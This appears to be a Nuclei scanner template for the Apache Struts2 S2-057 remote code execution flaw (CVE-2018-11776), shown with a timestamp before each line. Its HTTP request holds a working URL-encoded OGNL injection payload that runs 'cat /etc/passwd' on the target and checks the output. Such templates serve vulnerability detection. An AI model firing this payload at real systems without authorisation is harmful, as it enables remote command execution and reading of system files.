2021-02-24 04:29:30 +00:00
id : CVE-2018-11776
info :
2022-06-19 15:52:10 +00:00
name : Apache Struts2 S2-057 - Remote Code Execution
2021-02-24 04:29:30 +00:00
author : pikpikcu
2021-09-10 11:26:40 +00:00
severity : high
2022-06-20 16:15:21 +00:00
description : |
Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible remote code execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then : results are used with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn''t have value and action set and in same time, its upper package have no or wildcard namespace.
2023-09-27 15:51:13 +00:00
impact : |
Remote code execution
2023-09-06 12:57:14 +00:00
remediation : |
Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts2.
2022-04-22 10:38:41 +00:00
reference :
- https://github.com/jas502n/St2-057
2022-05-17 09:18:12 +00:00
- https://cwiki.apache.org/confluence/display/WW/S2-057
- https://security.netapp.com/advisory/ntap-20180822-0001/
2022-06-19 15:52:10 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2018-11776
2023-07-11 19:49:27 +00:00
- http://packetstormsecurity.com/files/172830/Apache-Struts-Remote-Code-Execution.html
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 8.1
2021-09-10 11:26:40 +00:00
cve-id : CVE-2018-11776
cwe-id : CWE-20
2023-12-12 11:07:52 +00:00
epss-score : 0.9755
2023-08-31 11:46:18 +00:00
epss-percentile : 0.99995
2023-09-06 12:57:14 +00:00
cpe : cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : apache
product : struts
2023-07-12 11:56:50 +00:00
tags : packetstorm,cve,cve2018,apache,rce,struts,kev
2021-02-24 04:29:30 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-02-24 04:29:30 +00:00
- method : GET
path :
- "{{BaseURL}}/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action"
matchers-condition : and
matchers :
- type : regex
regex :
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
2021-03-05 20:44:21 +00:00
2021-02-24 04:29:30 +00:00
- type : status
status :
- 200
2023-12-12 12:02:03 +00:00
# digest: 4b0a00483046022100ecaf52487851b3a32f8a3a12f0f317f3a393af49a5ac758d919f0ec64986768f0221009202f62d6b5253d9f129895440dc14099b34b78a3a436d1cf4ab732dc1c0a7e5:922c64590222798bb761d5b6d8e72950